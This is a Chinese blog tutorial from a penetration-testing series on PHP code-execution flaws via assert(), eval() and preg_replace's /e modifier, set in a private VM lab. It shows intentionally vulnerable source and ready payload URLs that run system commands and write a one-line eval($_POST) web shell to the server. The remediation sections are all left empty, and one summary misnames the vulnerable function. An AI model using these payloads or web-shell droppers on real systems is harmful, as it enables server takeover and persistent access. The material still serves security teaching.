91.网络安全渗透测试—[常规漏洞挖掘与利用篇7]—[代码执行漏洞与利用]

本文深入探讨了代码执行漏洞,包括动态代码执行、eval和正则代码执行。通过实例分析了如何利用这些漏洞,展示了payload的构造方法,并强调了安全修复的重要性。内容涵盖漏洞的概念、利用方式、可控性分析以及总结,旨在提升安全意识和防护能力。
摘要由CSDN通过智能技术生成

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、代码执行漏洞简介

1、代码执行漏洞概念:

       当应WEB用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。

2、代码执行函数:

PHPpythonJava
eval()、assert()、preg_replace()exec()没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等

二、代码执行漏洞利用

1、动态代码执行漏洞

(1)实验环境:
1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2PHP 5.5.9-1ubuntu4.273)Apache/2.4.7 (ubuntu)

2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite

3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.webtester.com/code/code01.php?a=assert&b=m_print()
(3)漏洞描述:
1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?
(4)漏洞分析:

1.0 漏洞点:code01.php

1.1 关键源码分析:code01.php

<?php
	function m_print(){
		echo '这是一个页面';
	}
	$_GET['a']($_GET['b']);
?>

1.2 漏洞分析:

1.使用哪个代码执行函数?
	可以自己控制
	
2.以什么方式调用代码执行函数中的字符串?
	以动态变量引入的方式调用代码执行函数中的字符串
	
3.用户对转化为代码的字符串是否可控?
	完全可控
(5)漏洞利用:

1.0 测试: assert 可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等。

payload-1:http://www.webtester.com/code/code01.php?a=assert&b=phpinfo()
在这里插入图片描述

payload-2:http://www.webtester.com/code/code01.php?a=assert&b=system(id)
在这里插入图片描述

payload-3:http://www.webtester.com/code/code01.php?a=assert&b=var_dump(qwsn)
在这里插入图片描述

payload-4:http://www.webtester.com/code/code01.php?a=assert&b=fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>")

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(6)漏洞修复:

(7)漏洞总结:
1.使用哪个代码执行函数?
	可以自己控制
	
2.以什么方式调用代码执行函数中的字符串?
	以动态变量引入的方式调用代码执行函数中的字符串
	
3.用户对转化为代码的字符串是否可控?
	完全可控

4.assert代码执行函数的使用
	assert(phpinfo());
	assert(system(id));
	assert(var_dump(qwsn));
	assert(fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>"));

5.一句话中需要添加一个反斜杠,否则写不进入
	eval(\$_POST[123]);?>");

2、eval代码执行漏洞

(1)实验环境:
1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2PHP 5.5.9-1ubuntu4.273)Apache/2.4.7 (ubuntu)

2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite

3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.webtester.com/code/code02.php?data=%E6%9A%97%E6%9C%88%E5%9F%B9%E8%AE%AD%E7%B3%BB%E7%BB%9F
(3)漏洞描述:
1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?
(4)漏洞分析:

1.0 漏洞点:code02.php

1.1 关键源码分析:code02.php

<?php  
	$data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';  
	@eval($ret = $data);  
	echo $ret;
?>

1.2 漏洞分析:

1.使用哪个代码执行函数?
	eval()代码执行函数
	
2.以什么方式调用代码执行函数中的字符串?
	以动态变量引入的方式调用代码执行函数中的字符串
	
3.用户对转化为代码的字符串是否可控?
	完全可控
(5)漏洞利用:

1.0 测试:eval可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等,需要注意,与assert不同的是,eval()函数内的函数必须要以分号结尾,否则无效。

payload-1:http://www.webtester.com/code/code02.php?data=phpinfo();
在这里插入图片描述

payload-2:http://www.webtester.com/code/code02.php?data=system(id);
在这里插入图片描述

payload-3:http://www.webtester.com/code/code02.php?data=var_dump(qwsn);
在这里插入图片描述

payload-4:http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell2.php","a"),"<?php phpinfo();eval($_POST[123]);?>");

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(6)漏洞修复:

(7)漏洞总结:
1.使用哪个代码执行函数?
	eval()代码执行函数
	
2.以什么方式调用代码执行函数中的字符串?
	以动态变量引入的方式调用代码执行函数中的字符串
	
3.用户对转化为代码的字符串是否可控?
	完全可控

4.assert代码执行函数的使用
	eval(phpinfo(););
	eval(system(id););
	eval(var_dump(qwsn););
	eval(fputs(fopen("../upload/shell2.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>"););

5.一句话中需要添加一个反斜杠,否则写不进入
	eval(\$_POST[123]);?>");

6.eval与assert不同的是,其内部的函数需要使用分号结尾,否则无效果。
	eval(phpinfo(););
	assert(phpinfo());

3、正则代码执行漏洞

(1)实验环境:
1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2PHP 5.5.9-1ubuntu4.273)Apache/2.4.7 (ubuntu)

2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite

3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.webtester.com/code/code03.php
(3)漏洞描述:
1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?
(4)漏洞分析:

1.0 漏洞点:code03.php

1.1 关键源码分析:code03.php

<?php  
	$data = $_GET['data'];  
	preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);  
?>
<form>
	<label>请输入你的数据</label>
	<input type='text' name='data'/>
	<input type='submit' value='提交'/>
</form>

1.2 漏洞分析:

1.使用哪个代码执行函数?
	preg_replace()代码执行函数
	
2.以什么方式调用代码执行函数中的字符串?
	以动态变量引入的方式调用代码执行函数中的字符串
	
3.用户对转化为代码的字符串是否可控?
	部分可控

1.3 preg_replace /e修正符的危险: 传送门1传送门2

(5)漏洞利用:

1.0 测试:preg_replace可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等。

payload-1:http://www.webtester.com/code/code03.php?data=<data>{${phpinfo()}}</data>
在这里插入图片描述

payload-1:http://www.webtester.com/code/code03.php?data=<data>{${system(id)}}</data>
在这里插入图片描述

payload-1:http://www.webtester.com/code/code03.php?data=<data>{${var_dump(qwsn)}}</data>
在这里插入图片描述

payload-1:http://www.webtester.com/code/code03.php?data=<data>{${fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>")}}</data>
【失败】

(6)漏洞修复:

(7)漏洞总结:
1.使用哪个代码执行函数?
	eval()代码执行函数
	
2.以什么方式调用代码执行函数中的字符串?
	以动态变量引入的方式调用代码执行函数中的字符串
	
3.用户对转化为代码的字符串是否可控?
	完全可控

4.assert代码执行函数的使用
	前提:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data); 
	姿势1preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${phpinfo()}}</data>'); 
	姿势2preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${system(id)}}</data>'); 
	姿势3preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${var_dump(qwsn)}}</data>'); 	
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qwsn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值